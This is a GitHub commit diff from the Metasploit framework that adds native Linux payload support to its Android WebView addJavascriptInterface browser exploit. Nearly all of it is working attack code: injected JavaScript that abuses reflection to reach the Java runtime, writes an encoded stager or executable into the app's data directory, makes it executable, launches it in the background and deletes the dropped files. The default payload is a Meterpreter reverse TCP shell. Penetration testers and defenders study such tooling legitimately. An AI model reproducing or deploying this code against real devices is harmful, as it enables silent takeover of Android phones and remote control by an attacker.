Skip to content

Commit 51efb2d

Browse files
committed
Land rapid7#6422, Add support for native target in Android webview exploit
2 parents 87193cb + 00dc636 commit 51efb2d

File tree

2 files changed

+56
-29
lines changed

2 files changed

+56
-29
lines changed

lib/msf/core/exploit/android.rb

Lines changed: 54 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,6 @@ module Exploit::Android
1919
}
2020

2121
def add_javascript_interface_exploit_js(arch)
22-
stagename = Rex::Text.rand_text_alpha(5)
2322
%Q|
2423
function exec(runtime, cmdArr) {
2524
var ch = 0;
@@ -47,44 +46,72 @@ def add_javascript_interface_exploit_js(arch)
4746
.getMethod('getRuntime', null)
4847
.invoke(null, null);
4948
50-
// libraryData contains the bytes for a native shared object built via NDK
51-
// which will load the "stage", which in this case is our android meterpreter stager.
52-
var libraryData = "#{Rex::Text.to_octal(ndkstager(stagename, arch), '\\\\0')}";
49+
#{payload.arch[0] == ARCH_DALVIK ? stager_js(arch) : linux_exe_js(arch)}
5350
54-
// the stageData is the JVM bytecode that is loaded by the NDK stager. It contains
55-
// another stager which loads android meterpreter from the msf handler.
56-
var stageData = "#{Rex::Text.to_octal(payload.raw, '\\\\0')}";
51+
return true;
52+
}
5753
58-
// get the process name, which will give us our data path
59-
// $PPID does not seem to work on android 4.0, so we concat pids manually
60-
var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);
54+
for (i in top) { if (attemptExploit(top[i]) === true) break; }
55+
|
56+
end
6157

62-
var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so';
63-
var stagePath = path + '/#{stagename}.apk';
58+
def stager_js(arch)
59+
stagename = Rex::Text.rand_text_alpha(5)
60+
%Q|
61+
// libraryData contains the bytes for a native shared object built via NDK
62+
// which will load the "stage", which in this case is our android meterpreter stager.
63+
var libraryData = "#{Rex::Text.to_octal(ndkstager(stagename, arch), '\\\\0')}";
64+
65+
// the stageData is the JVM bytecode that is loaded by the NDK stager. It contains
66+
// another stager which loads android meterpreter from the msf handler.
67+
var stageData = "#{Rex::Text.to_octal(payload.raw, '\\\\0')}";
68+
69+
// get the process name, which will give us our data path
70+
// $PPID does not seem to work on android 4.0, so we concat pids manually
71+
var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);
72+
var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so';
73+
var stagePath = path + '/#{stagename}.apk';
74+
75+
// build the library and chmod it
76+
runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+libraryData+'" > '+libraryPath]).waitFor();
77+
runtime.exec(['chmod', '700', libraryPath]).waitFor();
78+
79+
// build the stage, chmod it, and load it
80+
runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+stageData+'" > '+stagePath]).waitFor();
81+
runtime.exec(['chmod', '700', stagePath]).waitFor();
82+
83+
// load the library
84+
runtime.load(libraryPath);
85+
86+
// delete dropped files
87+
runtime.exec(['rm', stagePath]).waitFor();
88+
runtime.exec(['rm', libraryPath]).waitFor();
89+
|
90+
end
6491

65-
// build the library and chmod it
66-
runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+libraryData+'" > '+libraryPath]).waitFor();
67-
runtime.exec(['chmod', '700', libraryPath]).waitFor();
92+
def linux_exe_js(arch)
93+
platform_list = Msf::Module::PlatformList.new(Msf::Module::Platform::Linux)
6894

69-
// build the stage, chmod it, and load it
70-
runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+stageData+'" > '+stagePath]).waitFor();
71-
runtime.exec(['chmod', '700', stagePath]).waitFor();
95+
%Q|
96+
var payloadData = "#{Rex::Text.to_octal(payload.encoded_exe(arch: arch, platform: platform_list), '\\\\0')}";
7297
73-
// load the library
74-
runtime.load(libraryPath);
98+
// get the process name, which will give us our data path
99+
// $PPID does not seem to work on android 4.0, so we concat pids manually
100+
var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);
101+
var payloadPath = path + '/#{Rex::Text.rand_text_alpha(8)}';
75102
76-
// delete dropped files
77-
runtime.exec(['rm', stagePath]).waitFor();
78-
runtime.exec(['rm', libraryPath]).waitFor();
103+
// build the library and chmod it
104+
runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+payloadData+'" > '+payloadPath]).waitFor();
105+
runtime.exec(['chmod', '700', payloadPath]).waitFor();
79106
80-
return true;
81-
}
107+
// run the payload
108+
runtime.exec(['/system/bin/sh', '-c', payloadPath + ' &']).waitFor();
82109
83-
for (i in top) { if (attemptExploit(top[i]) === true) break; }
110+
// delete dropped files
111+
runtime.exec(['rm', payloadPath]).waitFor();
84112
|
85113
end
86114

87-
88115
# The NDK stager is used to launch a hidden APK
89116
def ndkstager(stagename, arch)
90117
data = MetasploitPayloads.read('android', 'libs', NDK_FILES[arch] || arch, 'libndkstager.so')

modules/exploits/android/browser/webview_addjavascriptinterface.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -67,8 +67,8 @@ def initialize(info = {})
6767
['EDB', '31519'],
6868
['OSVDB', '97520']
6969
],
70-
'Platform' => 'android',
71-
'Arch' => ARCH_DALVIK,
70+
'Platform' => ['android', 'linux'],
71+
'Arch' => [ARCH_DALVIK, ARCH_X86, ARCH_ARMLE, ARCH_MIPSLE],
7272
'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' },
7373
'Targets' => [ [ 'Automatic', {} ] ],
7474
'DisclosureDate' => 'Dec 21 2012',

0 commit comments

Comments
 (0)